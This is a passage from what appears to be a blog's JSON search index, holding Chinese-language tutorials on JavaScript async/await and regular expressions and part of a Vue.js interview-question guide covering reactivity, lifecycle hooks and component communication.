( resolve ) 或出錯 ( reject ) 後才會進行下一步，當 async function 的內容全都結束後，會返回一個 promise，這表示後方可以使用.then語法來做連接，基本的程式長相就像下面這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 async function a(){ await b(); ..... // 等 b() 完成後才會執行 await c(); ..... // 等 c() 完成後才會執行 await new Promise(resolve=\u0026gt;{ ..... }); ..... // 上方的 promise 完成後才會執行 } a(); a().then(()=\u0026gt;{ ..... // 等 a() 完成後接著執行 }); 利用 async 和 await 做個「漂亮的等待」 比較了解 async 和 await 的意思之後，就來試試看做個「漂亮的等待」，過去有使用 ES6 的 promise 來實現 delay ( 如同下方的程式範例 )，這個 delay 透過.then來完成一步一步的串接，雖然邏輯上很清楚，但若要實作比較複雜的流程，就得把每個程式寫在對應的 callback 裏，也就沒有想像的容易，這就是「不太漂亮的等待」 ( 使用 setTimeout 的做法就是不漂亮的等待 )。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 不漂亮的等待 const delay = (s) =\u0026gt; { return new Promise(resolve =\u0026gt; { setTimeout(resolve,s); }); }; delay().then(() =\u0026gt; { console.log(1); // 顯示 1 return delay(1000); // 延遲ㄧ秒 }).then(() =\u0026gt; { console.log(2); // 顯示 2 return delay(2000); // 延遲二秒 }).then(() =\u0026gt; { console.log(3); // 顯示 3 }); 如果我們把上面的範例修改為 async 和 await 的寫法，突然就發現程式碼看起來非常的乾淨，因為 await 會等待收到 resolve 之後才會進行後面的動作，如果沒有收到就會一直處在等待的狀態，所以什麼時候該等待，什麼時候該做下一步，就會非常清楚明瞭，這也就是我所謂「漂亮的等待」。\n注意，await 一定得運行在 async function 內！\n1 2 3 4 5 6 7 8 9 10 11 12 13 ~async function{ // ~ 開頭表示直接執行這個 function，結尾有 () const delay = (s) =\u0026gt; { return new Promise(function(resolve){ // 回傳一個 promise setTimeout(resolve,s); // 等待多少秒之後 resolve() }); }; console.log(1); // 顯示 1 await delay(1000); // 延遲ㄧ秒 console.log(2); // 顯示 2 await delay(2000); // 延遲二秒 console.log(3); // 顯示 3 }(); 搭配 Promise 基本上只要有 async 和 await 的地方，就一定有 promise 的存在，promise 顧名思義就是「保證執行之後才會做什麼事情」，剛剛使用了 async、await 和 promise 改善setTimeout這個容易出錯的非同步等待，針對setInterval，也能用同樣的做法修改，舉例來說，下面的程式碼執行之後，並「不會」如我們預期的「先顯示 1，再顯示 haha0\u0026hellip;haha5，最後再顯示 2」，而是「先顯示 1 和 2，然後再出現 haha0\u0026hellip;haha5」，因為雖然程式邏輯是從上往下，但在 count function 裏頭是非同步的語法，導致自己走自己的路，也造成了結果的不如預期。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 const count = (t,s) =\u0026gt; { let a = 0; let timer = setInterval(() =\u0026gt; { console.log(`${t}${a}`); a = a + 1; if(a\u0026gt;5){ clearInterval(timer); } },s); }; console.log(1); count(\u0026#39;haha\u0026#39;, 100); console.log(2); 這時我們可以透過 async、await 和 promise 進行修正，在顯示 1 之後，會「等待」count function 結束後再顯示 2。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ~async function(){ const count = (t,s) =\u0026gt; { return new Promise(resolve =\u0026gt; { let a = 0; let timer = setInterval(() =\u0026gt; { console.log(`${t}${a}`); a = a + 1; if(a\u0026gt;5){ clearInterval(timer); resolve(); // 表示完成 } },s); }); }; console.log(1); await count(\u0026#39;haha\u0026#39;, 100); console.log(2); }(); 除了setTimeout和setInterval，這也可以用於像是「輸入文字」的情境，過去我們要做到「連續輸入」文字，可能要層層疊疊寫個好幾個 callback，現在如果使用 async 和 await，就能夠很簡單的實現連續輸入的情境，程式碼看起來也更乾淨簡潔。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // HTML 為一個輸入框、一個按鈕和一個 h1 標籤 // \u0026lt;input id=\u0026#34;a\u0026#34;\u0026gt;\u0026lt;/input\u0026gt;\u0026lt;button id=\u0026#34;b\u0026#34;\u0026gt;send\u0026lt;/button\u0026gt; // \u0026lt;h1 id=\u0026#34;h\u0026#34;\u0026gt;\u0026lt;/h1\u0026gt; ~async function(){ const input = () =\u0026gt; { return new Promise(resolve =\u0026gt;{ const btnClick = () =\u0026gt;{ h.insertAdjacentHTML(\u0026#39;beforeend\u0026#39;, a.value + \u0026#39;\u0026lt;br/\u0026gt;\u0026#39;); // 輸入後在 h1 裡添加內容 a.value = \u0026#39;\u0026#39;; // 清空輸入框 a.focus(); // 將焦點移至輸入框 b.removeEventListener(\u0026#39;click\u0026#39;, btnClick); // removeEventListener 避免重複綁定事件 resolve(); // 完成 }; b.addEventListener(\u0026#39;click\u0026#39;, btnClick); // 綁定按鈕事件 }); }; h.insertAdjacentHTML(\u0026#39;beforeend\u0026#39;, \u0026#39;開始\u0026lt;br/\u0026gt;\u0026#39;); await input(); // 等待輸入，輸入後才會進行下一步 await input(); await input(); h.insertAdjacentHTML(\u0026#39;beforeend\u0026#39;, \u0026#39;結束\u0026#39;); }(); 搭配 Fetch 在我之前的文章 JavaScript Fetch API 使用教學 已經有提到fetch的用法，因為fetch最後回傳的是 promise，理所當然的透過 async 和 await 操作是最恰當不過的。\n舉例來說，先前往 中央氣象局開放資料平台 可以取得許多氣象資料，找到 局屬氣象站-現在天氣觀測報告 ，複製 JSON 格式的連結 ( 需要註冊登入才能看得到連結 )，透過fetch的json()方法處理檔案，目標顯示出「高雄市的即時氣溫」。\n透過 async 和 await 的美化程式碼，得到的結果完全不需要 callback 的輔助，就能按照我們所期望的順序進行。(先顯示「開始抓氣象」，接著顯示「高雄市的氣溫」，最後顯示「總算結束了」)\n1 2 3 4 5 6 7 8 9 10 11 12 ~async function(){ console.log(\u0026#39;開始抓氣象\u0026#39;); // 先顯示「開始抓氣象」 await fetch(\u0026#39;氣象局 json 網址\u0026#39;) // 帶有 await 的 fetch .then(res =\u0026gt; { return res.json(); }).then(result =\u0026gt; { let city = result.cwbopendata.location[14].parameter[0].parameterValue; let temp = result.cwbopendata.location[14].weatherElement[3].elementValue.value; console.log(`${city}的氣溫為 ${temp} 度 C`); }); console.log(\u0026#39;總算結束了\u0026#39;); // 抓完氣象之後再顯示「總算結束了」 }(); 搭配 迴圈 如果要透過 JavaScript 實現「文字慢慢變大」的效果，除了透過 CSS 的 transition 設定之外，通常就是直接使用setInterval來完成，就像下面的程式碼這樣：\n1 2 3 4 5 6 7 8 9 let size = 30; h.style.lineHeight = 0; const timer = setInterval(()=\u0026gt;{ h.style.fontSize = size + \u0026#39;px\u0026#39;; size = size + 1; if(size \u0026gt;= 130){ clearInterval(timer); } },10); 如果搭配 async 和 await，我們就能將同樣的做法，改由「迴圈」實現，因為使用了 await，所以迴圈每次執行時，都會進行「等待」，也就能做到字體慢慢變大的效果。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 // HTML 為一個 h1 標籤 \u0026lt;h1 id=\u0026#34;h\u0026#34;\u0026gt;hello\u0026lt;/h1\u0026gt; ~async function(){ const delay = t =\u0026gt; { // 先撰寫一個等待的 function return new Promise(resolve =\u0026gt; { setTimeout(resolve, t); }); }; h.style.linHeight = 0; for(let i=30; i\u0026lt;130; i++){ h.style.fontSize = i + \u0026#39;px\u0026#39;; await delay(10); // 迴圈每次執行時，都會在這裡等待 10ms } }(); 同樣的，上面提到的 fetch 或是輸入文字，只要做成 await 的方式，都可以放在迴圈裡面使用，例如透過迴圈不斷的 fetch 資料、透過迴圈不斷的輸入文字\u0026hellip;等，這些就不是 callback 方法能容易辦到的囉\n小結 坦白說只要你一但熟悉了 async 和 await，就真的回不去了，雖然說 callback 仍然是程式開發裡必備的功能，但對於同步和非同步之間的轉換，以後就交給 async 和 await 來處理吧！\n","date":"2022-08-13T00:00:00Z","image":"https://live.staticflickr.com/65535/52281246237_dd06bc8ef9_o.png","permalink":"https://blog.wayne-project.com/2022-08-13/js-async-await/","title":"Javascript 的 Async/Await"},{"content":" 參考網站\n建立正規式 正則表達式的規則稱作 pattern。在 JavaScript 中可以透過 Regular expression literals 的方式或建構式的方式來建立 regular expressions pattern：\n方法一：Regular expression literals script 載入時即編譯，當 pattern 不會改變時，使用此方式定義 pattern 效能較好。 1 var re = /ab+c/; 方法二：Function Constructor 程式執行過程才會被編譯，效能較差，適合用在 regular expression pattern 可能會改變時使用。 1 2 var re = new RegExp(\u0026#39;ab+c\u0026#39;); var myRe = new RegExp(\u0026#39;d(b+)d\u0026#39;, \u0026#39;g\u0026#39;); Regular expression literals 效能較好，適合 pattern 不會改變的情況；\nFunction Constructor 效能較差，適合用在 pattern 可能動態改變的情況。\n使用正規式 在 JavaScript 中可以使用正規式的函式包含：\nRegExp.prototype.test()：搜尋字串中是否有符合的部分，回傳 true/false。 RegExp.prototype.exec()：以陣列回傳字串中匹配到的部分，否則回傳 null。 String.prototype.match()：以陣列回傳字串中匹配到的部分，否則回傳 null。 String.prototype.replace()：尋找字串中匹配的部分，並取代之。 String.prototype.search()：尋找字串中是否有符合的部分，有的話回傳 index，否則回傳 -1。 String.prototype.split()：在字串根據匹配到的項目拆成陣列。 簡單來說，當你想要看字串是否包含某 pattern 時，使用 test 或 search；\n想要更多的資訊（花較多耗效能），則使用 exec 或 match。\n特殊字元 (character) 標籤（flag） 1 2 3 regex = /hello/; // 區分大小寫，匹配 \u0026#34;hello\u0026#34;, \u0026#34;hello123\u0026#34;, \u0026#34;123hello123\u0026#34;, \u0026#34;123hello\u0026#34;，但不匹配 \u0026#34;hell0\u0026#34;, \u0026#34;Hello\u0026#34; regex = /hello/i; // 不區分大小寫，匹配 \u0026#34;hello\u0026#34;, \u0026#34;HelLo\u0026#34;, \u0026#34;123HelLO\u0026#34; regex = /hello/g; // 全域搜尋 ES 2019 新增 /s 的標籤，過去 . 可以用來匹配除了換行符號以外（\\n, \\r）的所有字元：\n1 2 3 // 過去 . 可以匹配到除了「換行符號」以外的所有字元 console.log(/./.test(\u0026#39;\\n\u0026#39;)); // → false console.log(/./.test(\u0026#39;\\r\u0026#39;)); // → false 過去雖然可以使用 [\\w\\W] 來匹配到換行符號，但這不是最好的做法：\n1 2 console.log(/[\\w\\W]/.test(\u0026#39;\\n\u0026#39;)); // → true console.log(/[\\w\\W]/.test(\u0026#39;\\r\u0026#39;)); // → true 在 ES 2019 中，只要最後有標記 /s 的標籤，如此 . 將也能夠匹配到換行符號：\n1 2 console.log(/./s.test(\u0026#39;\\n\u0026#39;)); // → true console.log(/./s.test(\u0026#39;\\r\u0026#39;)); // → true 普通字元 // 1 2 var regex = /a/; var regex = /is/; 反斜線 \\ 1 2 3 4 5 6 /* 在「非」特殊字元前面使用反斜線時，表示要把反斜線後的字當作是特殊字元 */ var regex = /\\b/; // b 原本不是特殊字元，這個 b 要當成特殊字元 /* 在特殊字元前面使用反斜線時，表示要把反斜線後的字當作是「非」特殊字元 */ var regex = /if\\(true/; // ( 原本是特殊字元，但這裡要當成非特殊字元 var regex = /1\\+2=3/; // + 原本是特殊字元，但這裡要當成非特殊字元 任意一個字元 . 可以用來匹配除了換行符號（\\n）以外的所有字元： 1 2 3 var regex = /a.man/; // a*man 都會 match，例如 \u0026#34;acman\u0026#34;, \u0026#34;awman\u0026#34;, 但 \u0026#34;a\\nman\u0026#34; 無法匹配。 var regex = /.a/; // 任何一個字元後加上 a 多個字元 [] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 小寫 a 或大寫 A var regex = /[aA]/; // 匹配所有不是 a 或 A 的字 var regex = /[^aA]/; // a, e, i, o, u 都會 match var regex = /[aeiou]/; // 英文字母 var regex = /[a-z]/; // 所有小寫的字母，從小寫 a 到小寫 z var regex = /[A-Z]/; // 所有大寫的字母，從大寫 A 到大寫 Z var regex = /[a-zA-Z]/; // 所有英文字母 // 數字 5 ~ 8 var regex = /[5-8]/; 括號 () 套用到所有 1 2 3 var regex = /^a|^the|^an/; // 套用到裡面所有的 var regex = /^(a|the|an)/; // 等同於 不是（除了） ^ 1 2 3 4 5 /* 不是 a 都會 match */ var regex = /[^a]/; /* 不是數字都會 match */ var regex = /[^0-9]/; 多個字元縮寫 keywords：\\d、\\w、\\s、\\b、\\D、\\W、\\S \\d : digit，[0-9] \\w : word，包含英文大小寫、數字、底線，[A-Za-z0-9_] \\s : space，包含 space, tab, form feed, line feed，[\\f\\n\\r\\t\\v\\u00a0\\u1680\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff] \\D : 不是 digit，等同於 [^\\d] \\W : 不是 word，等同於 [^\\w] \\S : 不是 space，等同於 [^\\s] 1 2 3 4 5 6 7 8 9 10 /* 所有 word + e */ var regex = /\\we/; /* 連續兩個任意的數值 */ var regex = /\\d\\d/; /* 句子中結尾為 s 的單字 */ var regex = /s\\b/; var regex = /\\b[a-z]/g; // 句子中各個單字的第一個字母 其他特殊字元： \\t : tab \\b : word boundary，用來比對單字和單字間的空白，/s\\b/ 則會比對句子中最一個字母是 s 的單字 Word boundary \\b、\\B 透過 \\b 可以配對 word boundary，word boundary 指的是一個字元的前後沒有其他任何字元。\n要注意 \\b 和 [\\b] 是不一樣的，[\\b] 是用來配對 backspace。\n1 2 3 // is 這個單字才會被選到，Th`is` 的 is 不會 let matchedResult = \u0026#39;This is an apple.\u0026#39;.match(/\\bis\\b/); // [ \u0026#39;is\u0026#39;, index: 5, input: \u0026#39;This is an apple.\u0026#39; ] 相反地，\\B 則是 non-word boundary：\nBefore the first character of the string, if the first character is not a word character. After the last character of the string, if the last character is not a word character. Between two word characters Between two non-word characters The empty string 1 2 3 4 // 使用 \\B 會配對到 This 中的 is let matchedResult = \u0026#39;This is an apple.\u0026#39;.match(/\\Bis/); // [ \u0026#39;is\u0026#39;, index: 2, input: \u0026#39;This is an apple.\u0026#39; ] 出現次數 * + ? {} {, } keywords： * 、+、?、{次數}、{最少次數, 最多次數} * : 任意次數，等同於{0,} + : 至少一次（後面要跟著），等同於 {1,} ? : 零或一次（有或沒有），等同於 {0,1} {次數} {最少次數, 最多次數} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var regex = /abc/; // 找到符合 \u0026#34;abc\u0026#34; var regex = /ab*c/; // *表示前一個單字可以是 0 個或多個，因此 ac, abc, abbbbc 都符合規則 var regex = /n?a/; // n 可有可無 var regex = /a{2}/; // a 要 2 次，所以會是 a var regex = /a{2,4}/; // a 介於 2 次到 4 次之間 var regex = /a{2,}/; // 2 次以上的 a 都可以，大括號後面不要有空格 var regex = /(hello){4}/; // 4 次的 hello，hellohellohellohello var regex = /\\d{3}/; // 3 次的數字 開頭與結尾 keywords：^、$ ^ 開頭 $ 結尾 1 2 3 4 5 6 7 8 9 10 11 12 /* 以 A 開頭的字才會匹配到 */ /^A/gm.test(\u0026#39;Abc\u0026#39;); // true /^A/gm.test(\u0026#39;bac\u0026#39;); // false /* 開頭有 He */ var regex = /^He/; /* 結尾有 llo */ var regex = /llo$/; /* 開頭 He 結尾 llo 中間任意字元可以有任意次數 */ var regex = /^He.*llo$/; 或 | 1 2 3 4 5 // and 或 android，match 到 `and`roid 就不 match `android` var regex = /and|android/; // match 到 android 還是會 match and var regex = /android|and/; LookAround Assertions keywords: x(?=y)、x(?!y) Lookahead assertions: x(?=y)、x(?!y) Lookbehind assertions: (?\u0026lt;=y)x、(?\u0026lt;!y)x Look Ahead ?=：後面需要跟著 ?!：後面不能跟著 1 2 3 4 5 6 7 8 9 10 11 12 // foo(?=bar)，foo 後面要跟著 bar 才會配對到 foo const regexp = /foo(?=bar)/; regexp.exec(\u0026#39;foo\u0026#39;); // null regexp.exec(\u0026#39;bar\u0026#39;); // null regexp.exec(\u0026#39;foobar\u0026#39;); // [ \u0026#39;foo\u0026#39;, index: 0, input: \u0026#39;foobar\u0026#39;, groups: undefined ] // foo(?!bar)，foo 後面不能跟著 bar，如此才會配對到 foo const regexp = /foo(?!bar)/; regexp.exec(\u0026#39;foo\u0026#39;); // [ \u0026#39;foo\u0026#39;, index: 0, input: \u0026#39;foo\u0026#39;, groups: undefined ] regexp.exec(\u0026#39;foo123\u0026#39;); // [ \u0026#39;foo\u0026#39;, index: 0, input: \u0026#39;foo123\u0026#39;, groups: undefined ] regexp.exec(\u0026#39;bar\u0026#39;); // null regexp.exec(\u0026#39;foobar\u0026#39;); // null Look Behind ?\u0026lt;=：前面需要跟著才會匹配到 ?\u0026lt;!：前面不能跟著才會匹配到 1 2 3 4 5 6 7 8 9 10 11 12 // (?\u0026lt;=foo)bar，當 bar 前面有 foo 時才會配對到 bar const regexp = /(?\u0026lt;=foo)bar/; regexp.exec(\u0026#39;foo\u0026#39;); // null regexp.exec(\u0026#39;bar\u0026#39;); // null regexp.exec(\u0026#39;foobar\u0026#39;); // [ \u0026#39;bar\u0026#39;, index: 3, input: \u0026#39;foobar\u0026#39;, groups: undefined ] // (?\u0026lt;!foo)bar，當 bar 前面沒有 foo 時才會配對到 bar const regexp = /(?\u0026lt;!foo)bar/; regexp.exec(\u0026#39;foo\u0026#39;); // null regexp.exec(\u0026#39;bar\u0026#39;); // [ \u0026#39;bar\u0026#39;, index: 0, input: \u0026#39;bar\u0026#39;, groups: undefined ] regexp.exec(\u0026#39;123bar\u0026#39;); // [ \u0026#39;bar\u0026#39;, index: 3, input: \u0026#39;123bar\u0026#39;, groups: undefined ] regexp.exec(\u0026#39;foobar\u0026#39;); // null ❗❗❗ Lookbehind assertions 屬於 ES2018 的語法，須注意相容性。 ❗❗❗\n貪婪模式（Greedy Mode） 預設會啟用貪婪模式，如果想要關閉貪婪模式，也就是讓到一匹配到就停止，可以使用在 * 、 + 等後面加上 ?，例如 .*?、.+?。\npattern 筆記 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 export default { // 允許數字、英文字 // 長度4~12 account: /^[0-9A-Za-z]{4,12}$/, // 需包含數字、英文字、英文特殊符號 // 但不得包含符號 \\ // 長度1~24 password: /^(?=.*\\d)(?=.*[a-zA-Z])[a-zA-Z0-9!@#$%^\u0026amp;*()_+{}:\u0026#34;|\u0026lt;\u0026gt;?\\-=\\[\\]\u0026#39;\\;,./~`]{1,24}$/, // 允許數字、英文字、中文字 // 長度2~8 nickName: /^[0-9A-Za-z\\u4E00-\\u9FFF]{2,8}$/, // 允許數字、英文字、中文字、英文特殊符號、空白，但開頭不得為特殊符號或空白 realName: /^(?!(-))(?!(\\s))(?!(,))[A-Za-z\\-\\,\\s\\u4E00-\\u9FFF]{0,20}[^(?=(!@#$%^\u0026amp;*()_+{}:\u0026#34;|\u0026lt;\u0026gt;?\\-=\\[\\]\u0026#39;\\;,./~\\s\\d`)))]$/, // 信箱 createEmail: /^([\\w])([\\-\\._]?[\\w]){0,64}\\@([\\w])([\\-\\._]?[\\w]){0,64}\\.([a-zA-Z]){2,6}$/, // 前三碼英文字、後三碼數字 promotionCode: /^[A-Za-z]{3}[0-9]{3}$/, // 允許數字、英文字、中文字、英文特殊符號、中文特殊符號、空白 // 長度0~100 remark: /^[0-9A-Za-z-_\\u4E00-\\u9FA5+/.*!@#$%\u0026amp;?()=|\u0026#39;:;\u0026lt;\u0026gt;,~！@#￥……\u0026amp;*（）——|{}【】‘；：”“\u0026#39;。，、？%\\s]{0,100}$/, } ","date":"2022-08-13T00:00:00Z","image":"https://live.staticflickr.com/65535/52282544509_9802b00af7_o.png","permalink":"https://blog.wayne-project.com/2022-08-13/js-regex/","title":"Javascript 的正則表達式(Regular Expression, regex)"},{"content":" 參考網站\n基礎篇 1. 對 SPA 單頁⾯的理解，優缺點是什麼？ SPA（ single-page application ）僅在 Web 頁⾯初始化時加載相應的 HTML、JavaScript 和 CSS。 ⼀旦頁⾯加載完成，SPA 不會因為⽤戶的操作⽽進⾏⻚⾯的重新加載或跳轉；取⽽代之的是利⽤路由機制實現 HTML 內容的變換，UI 與⽤戶的交互，避免頁⾯的重新加載。 優點： ⽤戶體驗好、快，內容的改變不需要重新加載整個頁⾯，避免了不必要的跳轉和重複渲染 SPA 相對對服務器壓⼒⼩ 前後端職責分離，架構清晰，前端進⾏交互邏輯，後端負責數據處理 缺點： ⾸屏（初次）加載慢：為實現單⻚ Web 應⽤功能及顯示效果，需要在加載⻚⾯的時候將JavaScript、CSS 統⼀加載，部分⻚⾯按需加載 不利於 SEO：由於所有的內容都在⼀個⻚⾯中動態替換顯示，所以在 SEO 上其有著天然的弱勢 2. new Vue() 發生了什麼？ 結論：new Vue()是創建Vue實例，它內部執行了根實例的初始化過程 具體包括以下操作： 選項合併，children, refs, slot, createElement等实例属性的方法初始化 自定義事件處理 數據響應式處理 生命週期鉤子調用 (beforecreate created) 可能的掛載 總結：new Vue()創建了根實例並準備好數據和方法，未來執行掛載時，此過程還會遞歸的應用於它的子組件上，最終形成一個有緊密關係的組件實例樹 3. Vue.use是幹什麼的？原理是什麼？ vue.use 是用來使用插件的，我們可以在插件中擴展全局組件、指令、原型方法等。 檢查插件是否註冊，若已註冊，則直接跳出 處理入參，將第一個參數之後的參數歸集，並在首部塞入 this 上下文 執行註冊方法，調用定義好的 install 方法，傳入處理的參數，若沒有 install 方法並且插件本身為 function 則直接進行註冊 插件不能重複的加載，install 方法的第一個參數是vue的構造函數，其他參數是Vue.set中除了第一個參數的其他參數； 代碼：args.unshift(this) 調用插件的install 方法 代碼：typeof plugin.install === \u0026ldquo;function\u0026rdquo; 插件本身是一個函數，直接讓函數執行。代碼：plugin.apply(null, args) 緩存插件。代碼：installedPlugins.push(plugin) 4. 請說一下響應式數據的理解？ 根據數據類型來做不同處理，數組和對像類型當值變化時如何劫持。 對象內部通過defineReactive方法，使用 Object.defineProperty() 監聽數據屬性的 get 來進行數據依賴收集，再通過 set 來完成數據更新的派發 數組則通過重寫數組方法來實現的。擴展它的 7 個變更⽅法，通過監聽這些方法可以做到依賴收集和派發更新 內部依賴收集是怎麼做到的？每個屬性都擁有自己的dep屬性，存放他所依賴的 watcher，當屬性變化後會通知自己對應的 watcher去更新 響應式流程：\ndefineReactive 把數據定義成響應式的 給屬性增加一個 dep，用來收集對應的那些watcher 等數據變化進行更新\ndep.depend() // get 取值：進行依賴收集\ndep.notify() // set 設置時：通知視圖更新 對象層級過深，性能就會差 不需要響應數據的內容不要放在data中 object.freeze() 可以凍結數據 5. Vue如何檢測數組變化？ 數組考慮性能原因沒有用defineProperty對數組的每一項進行攔截，而是選擇重寫數組 方法以進行重寫。當數組調用到這 7 個方法的時候，執行 ob.dep.notify() 進行派發通知 Watcher 更新 在Vue中修改數組的索引和長度是無法監控到的。需要通過以下7種變異方法修改數組才會觸發數組對應的wacther進行更新。數組中如果是對像數據類型也會進行遞歸劫持 那如果想要改索引更新數據怎麼辦？\n可以通過Vue.set()來進行處理 ➞ 核心內部用的是 splice 方法 1 2 3 4 5 6 7 8 9 // 取出原型方法； const arrayProto = Array.prototype // 拷貝原型方法； export const arrayMethods = Object.create(arrayProto) // 重寫數組方法； def(arrayMethods, method, function mutator (…args) { } ob.dep.notify() // 調用方法時更新視圖 6. Vue.set 方法是如何實現的？ 為什麼$set可以觸發更新，我們給對象和數組本身都增加了dep屬性，當給對像新增不存在的屬性則觸發對象依賴的watcher去更新，當修改數組索引時我們調用數組本身的splice方法去更新數組 官方定義 Vue.set(object, key, value)\n7. Vue中模板編譯原理？ 如何將template轉換成render函數(這裡要注意的是我們在開發時盡量不要使用template，因為將template轉化成render方法需要在運行時進行編譯操作會有性能損耗，同時引用帶有complier包的vue體積也會變大) 默認.vue文件中的 template處理是通過vue-loader 來進行處理的並不是通過運行時的編譯 將 template 模板轉換成 ast 語法樹 - parserHTML 對靜態語法做靜態標記 - markUp 重新生成代碼 - codeGen 模板引擎的實現原理就是new Function + with來進行實現的\nvue-loader中处理template属性主要靠的是 vue-template-compiler 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // vue-loader // template =\u0026gt; ast =\u0026gt; codegen =\u0026gt; with+function 實現生成render方法 let {ast, render } = VueTemplateCompiler.compile(\u0026lt;div\u0026gt;{{aaa}}\u0026lt;/div\u0026gt;) console.log(ast, render) // 模板引擎的實現原理 with + new Function console.log(new Function(render).tostring()) // render方法執行完畢後生成的是虛擬 dom // with(this){return _c(‘div’,[_s(aaa)])} // 代碼生成 const ast = parse(template.trim(), options) // 將代碼解析成ast語法樹 if (options.optimize !== false) { optimize(ast, options) // 優化代碼 標記靜態點 標記樹 } const code = generate(ast, options) // 生成代碼 8. Proxy 與 Object.defineProperty 優劣對比 Proxy 的優勢如下 Proxy 可以直接監聽對象而非屬性 Proxy 可以直接監聽數組的變化 Proxy 有多達 13 種攔截方法,不限於 apply、ownKeys、deleteProperty、has 等等是 Object.defineProperty 不具備的 Proxy 返回的是一個新對象,我們可以只操作新的對象達到目的,而 Object.defineProperty 只能遍歷對象屬性直接修改 Proxy 作為新標準將受到瀏覽器廠商重點持續的性能優化，也就是傳說中的新標準的性能紅利 Object.defineProperty 的優勢如下 兼容性好，支持 IE9，而 Proxy 的存在瀏覽器兼容性問題，而且無法用 polyfill 磨平，因此 Vue 的作者才聲明需要等到下個大版本( 3.0 )才能用 Proxy 重寫 9. Vue3.x響應式數據原理 Vue3.x改用Proxy替代Object.defineProperty。因為Proxy可以直接監聽對象和數組的變化，並且有多達13種攔截方法。並且作為新標準將受到瀏覽器廠商重點持續的性能優化 Proxy只會代理對象的第一層，那麼Vue3又是怎樣處理這個問題的呢？\n判斷當前Reflect.get的返回值是否為Object，如果是則再通過reactive方法做代理， 這樣就實現了深度觀測 監測數組的時候可能觸發多次get/set，那麼如何防止觸發多次呢？\n我們可以判斷key是否為當前被代理對象target自身屬性，也可以判斷舊值與新值是否相等，只有滿足以上兩個條件之一時，才有可能執行trigger 生命周期篇 Vue的生命週期方法有哪些？一般在哪一步發起請求及原因 總共分為8個階段：創建前/後，載入前/後，更新前/後，銷毀前/後 創建前/後：\nbeforeCreate階段：vue實例的掛載元素el和數據對象data都為undefined，還未初始化。\n說明：在當前階段data、methods、computed以及watch上的數據和方法都不能被訪問。\ncreated階段：vue實例的數據對象data有了，el還沒有。\n說明：可以做一些初始數據的獲取，在當前階段無法與Dom進行交互，如果非要想，可以通過vm.$nextTick來訪問Dom。\n載入前/後：\nbeforeMount階段：vue實例的$el和data都初始化了，但還是掛載之前為虛擬的dom節點。\n說明：當前階段虛擬Dom已經創建完成，即將開始渲染。在此時也可以對數據進行更改，不會觸發updated。\nmounted階段：vue實例掛載完成，data.message成功渲染。\n說明：在當前階段，真實的Dom掛載完畢，數據完成雙向綁定，可以訪問到Dom節點，使用$refs屬性對Dom進行操作。\n更新前/後：\nbeforeUpdate階段：響應式數據更新時調用，發生在虛擬DOM打補丁之前，適合在更新之前訪問現有的DOM，比如手動移除已添加的事件監聽器。\n說明：可以在當前階段進行更改數據，不會造成重渲染。\nupdated階段：虛擬DOM重新渲染和打補丁之後調用，組成新的DOM已經更新，避免在這個鉤子函數中操作數據，防止死循環。\n說明：當前階段組件Dom已完成更新。要注意的是避免在此期間更改數據，因為這可能會導致無限循環的更新。\n銷毀前/後：\nbeforeDestroy階段：實例銷毀前調用，實例還可以用，this能獲取到實例，常用於銷毀定時器，解綁事件。\n說明：在當前階段實例完全可以被使用，我們可以在這時進行善後收尾工作，比如清除計時器。\ndestroyed階段：實例銷毀後調用，調用後所有事件監聽器會被移除，所有的子實例都會被銷毀。\n說明：當前階段組件已被拆解，數據綁定被卸除，監聽被移出，子實例也統統被銷毀。\n補充：\n第一次頁面加載時會觸發：beforeCreate, created, beforeMount, mounted。\ncreated 實例已經創建完成，因為它是最早觸發的原因可以進行一些數據，資源的請求。 (服務器渲染支持created方法) mounted 實例已經掛載完成，可以進行一些DOM操作。 (接口請求) 生命週期鉤子是如何實現的？ Vue的生命週期鉤子就是回調函數而已，當創建組件實例的過程中會調用對應的鉤子方法。 補充：\n內部主要是使用callHook方法來調用對應的方法。核心是一個發布訂閱模式，將鉤子訂閱好(內部採用數組的方式存儲)，在對應的階段進行發布。\nVue 的父組件和子組件生命週期鉤子執行順序 第一次頁面加載時會觸發 beforeCreate, created, beforeMount, mounted 這幾個鉤子。 渲染過程： 父組件掛載完成一定是等子組件都掛載完成後，才算是父組件掛載完，所以父組件的mounted在子組件mouted之後\n父beforeCreate ➡ 父created ➡ 父beforeMount ➡ 子beforeCreate ➡ 子created ➡ 子beforeMount ➡ 子mounted ➡ 父mounted\n子組件更新過程： 影響到父組件：父beforeUpdate -\u0026gt; 子beforeUpdate-\u0026gt;子updated -\u0026gt; 父updted\n不影響父組件：子beforeUpdate -\u0026gt; 子updated\n父組件更新過程： 影響到子組件：父beforeUpdate -\u0026gt; 子beforeUpdate-\u0026gt;子updated -\u0026gt; 父updted\n不影響子組件：父beforeUpdate -\u0026gt; 父updated\n銷毀過程： 父beforeDestroy -\u0026gt; 子beforeDestroy -\u0026gt; 子destroyed -\u0026gt; 父destroyed\n重要：父組件等待子組件完成後，才會執行自己對應完成的鉤子。\n組件通信篇 Vue中的組件的data 為什麼是一個函數？ 每次使用組件時都會對組件進行實例化操作，並且調用data函數返回一個對像作為組件的數據源。這樣可以保證多個組件間數據互不影響。 如果data是對象的話，對象屬於引用類型，會影響到所有的實例。所以為了保證組件不同的實例之間data不衝突，data必須是一個函數。 Vue 組件間通信有哪幾種方式？ Vue 組件間通信只要指以下 3 類通信：父子組件通信、隔代組件通信、兄弟組件通信，下面我們分別介紹每種通信方式且會說明此種方法可適用於哪類組件間通信。 props / $emit 適用父子組件通信\n這種方法是 Vue 組件的基礎，相信大部分同學耳聞能詳，所以此處就不舉例展開介紹。 ref 與 $parent / children适用父子组件通信\nref：如果在普通的DOM元素上使用，引用指向的就是DOM元素；如果用在子組件上，引用就指向組件實例 parent / $children：訪問父 / 子實例 